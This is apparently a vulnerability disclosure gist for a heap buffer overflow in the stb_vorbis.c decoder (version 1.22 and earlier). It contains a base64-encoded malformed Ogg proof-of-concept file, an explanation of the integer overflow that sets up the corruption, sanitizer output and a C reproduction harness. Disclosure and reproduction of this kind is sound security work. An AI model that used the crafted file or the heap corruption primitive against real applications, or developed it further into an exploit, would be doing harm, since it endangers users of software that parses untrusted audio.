d0razi / **gist_11_README.md**

Created 2 weeks ago

Code Revisions 1

stb_vorbis.c Heap OOB Write PoC (CWE-787)

gist_11_poc.b64

```
T2dnUwACAAAAAAAAAQB4VVoSAAwAAAAAAABHgF2b3JiaXMAAAAAAUSsAAD/////APQBAP////+4
AU9nZ1MAABAAAAAAAAAAAeFa+EgEAAAAAKAAAAf8Ddm9yYmlzBwAAAGVuT2d//wACAAAg5QAAAAAA
AAABHgF2f3JiaXMAAAAAAkSsAAD//wAAAkSsAABPZ2dTAAIAEAAAAAAAAAgAAAAEhBXb/4eEAAAEe
AR4Bbm9yYmlzAAAAEABErAAA/////wD0AQD/////uAFPZ3NTAAAQAAAAAAAAAAHhWvhIBAAAAACgA
AAH/A5RvcmJpcwcAAABlbk9nf/8AAgAAAOUAAAAAAAAAAR4Bdm9yYmlzAAAAAAJErAAA//8AAAJE
rAAAT2dnUwACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Z2dTACUAAAAAIQAAAA==
```

gist_11_README.md

stb_vorbis.c Heap Buffer Overflow / OOB Write (CWE-787 / CWE-190)

Product: stb_vorbis.c (nothings/stb) **Version**: <= 1.22

Description

A heap buffer overflow (out-of-bounds write) in `start_decoder()`, caused by an integer overflow in comment list allocation.

`comment_list_length` is read from untrusted Vorbis header data. The allocation size `sizeof(char*) * comment_list_length` overflows the `int sz` parameter of `setup_malloc()` (e.g., `8 * 0x20000002 = 0x100000010` truncates to 16 bytes). The loop then writes ~536 million pointer-sized entries into a 16-byte buffer, causing massive sequential heap corruption.

Each OOB write stores a heap pointer to attacker-controlled comment string data, creating a heap corruption primitive exploitable via tcache poisoning or chunk overlap.

ASAN Output

```
ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000040
WRITE of size 8 at 0x602000000040
    #0 start_decoder               stb_vorbis.c:3670
    #1 stb_vorbis_open_memory      stb_vorbis.c:5112
    #2 stb_vorbis_decode_memory    stb_vorbis.c:5390
0x602000000040 is located 0 bytes to the right of 16-byte region
allocated by: setup_malloc -> stb_vorbis.c:960
```

Reproduction

```
base64 -d poc.ogg.b64 > poc.ogg
clang -fsanitize=address -g -O0 repro.c -o repro -lm
./repro poc.ogg
```

gist_11_repro.c

```c
#include <stdlib.h>
#include <stdio.h>
#include "stb_vorbis.c"
int main(int argc, char **argv) {
    if (argc < 2) return 1;
    FILE *f = fopen(argv[1], "rb"); if (!f) return 1;
    fseek(f, 0, SEEK_END); int len = ftell(f); fseek(f, 0, SEEK_SET);
    unsigned char *buf = malloc(len); fread(buf, 1, len, f); fclose(f);
    int ch, sr; short *out = NULL;
    stb_vorbis_decode_memory(buf, len, &ch, &sr, &out);
    if (out) free(out); free(buf);
    return 0;
}
// Build: clang -fsanitize=address -g -O0 repro.c -o repro -lm
// Run:   ./repro poc.ogg
```